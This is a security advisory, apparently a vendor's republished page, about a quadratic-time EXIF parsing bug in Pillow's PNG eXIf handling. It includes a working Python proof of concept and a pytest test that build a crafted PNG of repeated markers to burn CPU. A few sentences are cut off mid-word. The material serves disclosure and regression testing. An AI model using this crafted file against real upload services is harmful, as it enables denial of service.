Summary
Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time
A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.
Details
Exif.load() in src/PIL/Image.py strips a marker from the start of the EXIF data like this:
while data and data.startswith(b"Exif\x00\x00"):
data = data[6:]
Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.
chunk_eXIf() in src/PIL/PngImagePlugin.py puts the raw PNG eXIf chunk straight into info["exif"] with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with MAX_TEXT_CHUNK and MAX_TEXT_MEMORY. The eXIf chunk has no such cap.
If the eXIf chunk is filled with repeated Exif\x00\x00 markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.
Steps to reproduce
This builds a small PNG in memory and times Image.open().getexif() on it. No external file needed.
import time
from io import BytesIO
from PIL import Image, PngImagePlugin
def chunk(cid, *data):
fp = BytesIO()
PngImagePlugin.putchunk(fp, cid, *data)
return fp.getvalue()
MAGIC = PngImagePlugin._MAGIC
IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
IDAT = chunk(b"IDAT")
IEND = chunk(b"IEND")
marker = b"Exif\x00\x00"
exif_chunk = chunk(b"eXIf", marker * 300_000) # 1.8MB, all markers
data = MAGIC + IHDR + exif_chunk + IDAT + IEND
start = time.time()
with Image.open(BytesIO(data)) as im:
im.getexif()
print("took", time.time() - start, "seconds")
Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.
Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a
few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.
A pytest version of this test, using pytest-timeout so a test run does not hang if the bug is present, is it fails with Failed: Timeout (>2.0s) from pytest-timeout.
import pytest
from io import BytesIO
from PIL import Image, PngImagePlugin
def chunk(cid, *data):
fp = BytesIO()
PngImagePlugin.putchunk(fp, cid, *data)
return fp.getvalue()
MAGIC = PngImagePlugin._MAGIC
IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
IDAT = chunk(b"IDAT")
IEND = chunk(b"IEND")
@pytest.mark.timeout(2)
def test_exif_load_is_not_quadratic():
marker = b"Exif\x00\x00"
exif_chunk = chunk(b"eXIf", marker * 300_000)
data = MAGIC + IHDR + exif_chunk + IDAT + IEND
with Image.open(BytesIO(data)) as im:
im.getexif()
Impact
- Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear.
- Confidentiality: none.
- Integrity: none.
- This fires through
Image.getexif(),Image._getexif(), andImageOps.exif_transpose().exif_transpose()is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.
Impact
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-96643? CVE-2026-96643 is a high-severity security vulnerability in Pillow (pip), affecting versions >= 11.0.0, < 13.0.0. It is fixed in 13.0.0.
- Which versions of Pillow are affected by CVE-2026-96643? Pillow (pip) versions >= 11.0.0, < 13.0.0 is affected.
- Is there a fix for CVE-2026-96643? Yes. CVE-2026-96643 is fixed in 13.0.0. Upgrade to this version or later.
- Is CVE-2026-96643 exploitable, and should I be worried? Whether CVE-2026-96643 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-96643 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-96643? Upgrade
Pillowto 13.0.0 or later.